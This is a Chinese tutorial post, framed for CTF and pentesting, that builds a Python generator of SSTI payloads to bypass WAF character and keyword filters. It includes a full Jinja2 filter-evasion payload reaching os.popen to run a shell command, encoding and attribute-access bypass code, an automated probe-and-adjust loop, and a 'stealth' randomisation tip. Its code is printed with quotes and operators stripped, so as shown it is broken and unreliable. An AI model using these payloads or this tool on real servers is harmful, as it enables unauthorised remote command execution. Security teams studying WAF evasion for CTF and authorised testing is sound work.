别再死记硬背SSTI Payload了!手把手教你用Python脚本自动化生成绕过WAF的注入语句
从零构建SSTI Payload生成器Python自动化对抗WAF实战手册在CTF竞赛和渗透测试中遇到SSTI漏洞却因WAF规则束手无策传统的手工构造Payload方式不仅效率低下而且难以应对动态变化的过滤规则。本文将带你用Python打造一个智能化的SSTI Payload生成引擎实现从规则分析到绕过方案的全自动输出。1. 理解SSTI与WAF的对抗本质模板注入漏洞的本质在于服务端对用户输入的不当处理而现代WAF通常采用多层防御机制字符黑名单过滤_、.、[]等关键符号关键词检测拦截__class__、os、popen等敏感字符串语法分析识别{{}}等模板语法特征行为监控检测异常的子进程创建行为我们的生成器需要模拟攻击者的思维过程识别被过滤的字符和关键词寻找等价的替代表达方式组合多种绕过技术形成有效载荷验证Payload的有效性# 基础绕过技术映射表 BYPASS_TECHNIQUES { dot: [[], |attr, format], underscore: [\\u005f, \\x5f, format], brackets: [__getitem__, pop], quotes: [request, chr, join] }2. 构建Payload生成引擎核心架构2.1 规则解析模块设计首先需要设计一个灵活的规则解析器用于处理各种过滤条件class RuleParser: def __init__(self, filter_rules): self.forbidden_chars set() self.forbidden_keywords set() self.parse_rules(filter_rules) def parse_rules(self, rules): # 实现规则解析逻辑 for rule in rules.split(,): if rule.startswith(char:): self.forbidden_chars.add(rule[5:]) elif rule.startswith(kw:): self.forbidden_keywords.add(rule[3:])2.2 绕过策略选择算法基于解析出的规则动态选择最优绕过策略def select_bypass_strategy(self, target): strategies [] if _ in target and _ in self.forbidden_chars: strategies.append(unicode) strategies.append(hex) if . in target and . in self.forbidden_chars: strategies.append(bracket) strategies.append(attr) return strategies3. 实现关键绕过技术生成器3.1 Unicode编码转换器将敏感字符转换为Unicode转义序列def unicode_encode(self, payload): encoded [] for char in payload: if char in self.forbidden_chars: encoded.append(f\\u{ord(char):04x}) else: encoded.append(char) return .join(encoded)3.2 属性访问替代方案提供多种属性访问方式的转换原始写法替代方案1替代方案2x.__class__x[__class__]xx[0]x.__getitem__(0)x.pop(0)def convert_attribute_access(self, code): if . in self.forbidden_chars: return code.replace(., [) ] return code4. 动态Payload组装系统4.1 模块化Payload组件将Payload分解为可替换的组件PAYLOAD_COMPONENTS { class: [__class__, \\u005f\\u005fclass\\u005f\\u005f], base: [__base__, [__base__]], subclasses: [__subclasses__(), |attr(__subclasses__)()] }4.2 智能组装算法def assemble_payload(self, components): selected [] for comp in components: variants PAYLOAD_COMPONENTS.get(comp, [comp]) for variant in variants: if not self.rule_parser.is_blocked(variant): selected.append(variant) break return .join(selected)5. 实战案例生成Flask/Jinja2绕过Payload假设遇到以下过滤规则禁止字符_、.、[、]禁止关键词class、base、os我们的生成器将自动生成如下绕过方案{% set a(lipsum|string|list).pop(18) %} {% set b(lipsum|string|list).pop(9) %} {{()|attr(a~a~cla~ss~a~a)|attr(a~a~ba~se~a~a)|attr(a~a~subcla~sses~a~a)()|attr(__getitem__)(117)|attr(a~a~init~a~a)|attr(a~a~glo~bals~a~a)|attr(__getitem__)(o~s)|attr(po~pen)(ls)|attr(read)()}}6. 高级功能扩展6.1 上下文感知生成通过分析响应内容自动调整策略def analyze_response(self, response): if WAF blocked in response: self.adjust_strategy(aggressiveness0.5) elif syntax error in response: self.fix_syntax_errors()6.2 多阶段测试框架探测阶段发送无害测试Payload分析阶段识别过滤模式生成阶段创建针对性绕过方案验证阶段确认Payload有效性class TestingFramework: def run_test_cycle(self, target_url): probe_result self.send_probes() analysis self.analyze_responses(probe_result) payload self.generate_payload(analysis) return self.validate_payload(payload)7. 工程化实践建议在实际应用中还需要考虑以下优化点性能优化使用LRU缓存已生成的Payload隐蔽性增强随机化字符串拼接方式错误处理实现自动回退机制日志记录保存成功的绕过模式# Payload缓存实现示例 from functools import lru_cache lru_cache(maxsize100) def generate_cached_payload(rules, target): return generator.generate(rules, target)通过系统化的设计和实现这个Payload生成器不仅能大幅提升CTF竞赛效率也为企业安全团队提供了自动化测试SSTI防护能力的有效工具。记住真正的价值不在于Payload本身而在于理解WAF的运作机制和开发对抗策略的思考过程。